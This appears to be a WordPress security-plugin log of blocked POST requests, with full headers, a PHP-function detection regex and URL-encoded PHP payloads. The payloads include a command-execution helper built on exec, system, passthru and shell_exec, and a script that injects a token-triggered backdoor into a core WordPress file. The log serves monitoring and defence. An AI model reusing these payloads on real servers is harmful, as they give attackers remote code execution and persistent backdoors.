3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\n\nmV=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:25:30","5.250.187.247","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TO:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3329\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nTO=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:25:55","162.214.207.1","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZY:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-length:3329\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nZY=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:26:05","34.100.167.237","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:3352\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27PurifierLinkify%27%2C%27toxmlrpc.inc%27%2C%27media_manager%27%2C%27groupperm%27%2C%27searchbar%27%2C%27quotation%27%2C%27ndbcluster.lib%27%2C%27gradereport_user%27%2C%27day_schedules%27%2C%27QuickForm%27%2C%27auctionapproval%27%2C%27HtmlWidgets%27%2C%27usergroup_10%27%2C%27loadmodule%27%2C%27changeLab%27%2C%27mediaplugin%27%2C%27editbookmark%27%2C%27listmodules%27%2C%27index.class%27%2C%27prova_textarea%27%2C%27toolbar.messages%27%2C%27FontFamily%27%2C%27preferences%27%2C%27beginedit8%27%2C%27class.pdf%27%2C%27newFacForum%27%2C%27contactinfo%27%2C%27webdbsetup%27%2C%27order_details%27%2C%27DisplayLinkURI%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 19:40:43","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%